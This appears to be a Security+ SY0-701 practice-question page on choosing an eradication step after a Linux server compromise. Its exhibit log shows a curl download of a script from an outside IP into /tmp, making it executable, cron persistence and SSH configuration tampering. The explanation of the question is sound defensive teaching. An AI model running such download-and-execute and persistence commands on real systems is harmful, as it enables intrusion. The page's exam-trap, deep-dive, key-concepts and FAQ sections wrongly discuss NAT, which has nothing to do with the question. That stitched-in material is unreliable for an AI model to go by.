hardmultiple choiceObjective-mapped

Exhibit

Linux server audit summary: APP-SRV14
10:22:13  sshd: Accepted publickey for appsvc from 10.5.14.22
10:23:01  sudo: appsvc ran /usr/bin/curl https://198.51.100.44/p.sh -o /tmp/.x
10:23:09  sudo: appsvc ran chmod +x /tmp/.x
10:23:11  /tmp/.x created /etc/cron.d/.maint
10:23:20  /etc/ssh/sshd_config modified to allow PasswordAuthentication yes
10:24:02  outbound traffic blocked by segmentation rule
IR note: host is isolated, disk image has not been taken yet, and the business wants the service restored today

Based on the exhibit, what is the best eradication decision for the server compromise?

Question 1hardmultiple choice
Full question →

Based on the exhibit, what is the best eradication decision for the server compromise?

Answer choices

Why each option matters

Good practice is not just finding the correct option. The wrong answers often show the exact trap the exam wants you to fall into.

A

Distractor review

Restart sshd and monitor the system for another login attempt.

Restarting the service does not remove the malicious script, cron persistence, or configuration tampering already shown in the logs.

B

Distractor review

Manually delete the cron entry and reverse the SSH change on the live server.

Manual cleanup can miss hidden persistence or tampered binaries. It also risks contaminating evidence before proper forensics are complete.

C

Best answer

Rebuild the server from a trusted image and restore only known-good data after evidence is preserved.

The server shows multiple signs of compromise: unauthorized key-based access, script download, cron persistence, and SSH configuration tampering. Those indicators make simple cleanup too risky. A rebuild from a trusted image is the most reliable eradication step, especially once the host is isolated. Evidence should be preserved first, then the service should be restored from validated data and a hardened baseline.

D

Distractor review

Increase the SIEM retention period and keep the current server online.

Longer log retention improves visibility, but it does not remove the compromise or restore trust in the host.

Common exam trap

Common exam trap: NAT rules depend on direction and matching traffic

NAT is not only about the public address. The inside/outside interface roles and the ACL or rule that matches traffic are just as important.

Technical deep dive

How to think about this question

NAT questions usually test address translation, overload/PAT behaviour, static mappings and whether the right traffic is being translated. Read the interface direction and address terms carefully.

KKey Concepts to Remember

  • Static NAT maps one inside address to one outside address.
  • PAT allows many inside hosts to share one public address using ports.
  • Inside local and inside global describe the private and translated addresses.
  • NAT ACLs identify traffic for translation, not always security filtering.

TExam Day Tips

  • Identify inside and outside interfaces first.
  • Check whether the scenario needs static NAT, dynamic NAT or PAT.
  • Do not confuse NAT matching ACLs with normal packet-filtering intent.

Related practice questions

Related SY0-701 practice-question pages

Use these pages to review the topic behind this question. This is how one missed question becomes focused revision.

More questions from this exam

Keep practising from the same exam bank, or move into a focused topic page if this question exposed a weak area.

FAQ

Questions learners often ask

What does this SY0-701 question test?

Static NAT maps one inside address to one outside address.

What is the correct answer to this question?

The correct answer is: Rebuild the server from a trusted image and restore only known-good data after evidence is preserved. — The best eradication decision is to rebuild the server from a trusted image and restore only known-good data after evidence is preserved. The exhibit shows multiple persistence and configuration changes, not just a single malicious file. That means the integrity of the host is questionable, and manual cleanup is unreliable. In security operations, reimaging is often the safest way to eliminate hidden compromise on a critical server. Why others are wrong: Restarting a service or deleting one cron entry does not address the full compromise. The attacker changed SSH settings and established persistence, so the risk remains even if one artifact disappears. Increasing log retention is useful for investigation, but it is not an eradication method. The environment needs a trusted rebuild, not cosmetic cleanup.

What should I do if I get this SY0-701 question wrong?

Then try more questions from the same exam bank and focus on understanding why the wrong options are tempting.

Discussion

Loading comments…

Sign in to join the discussion.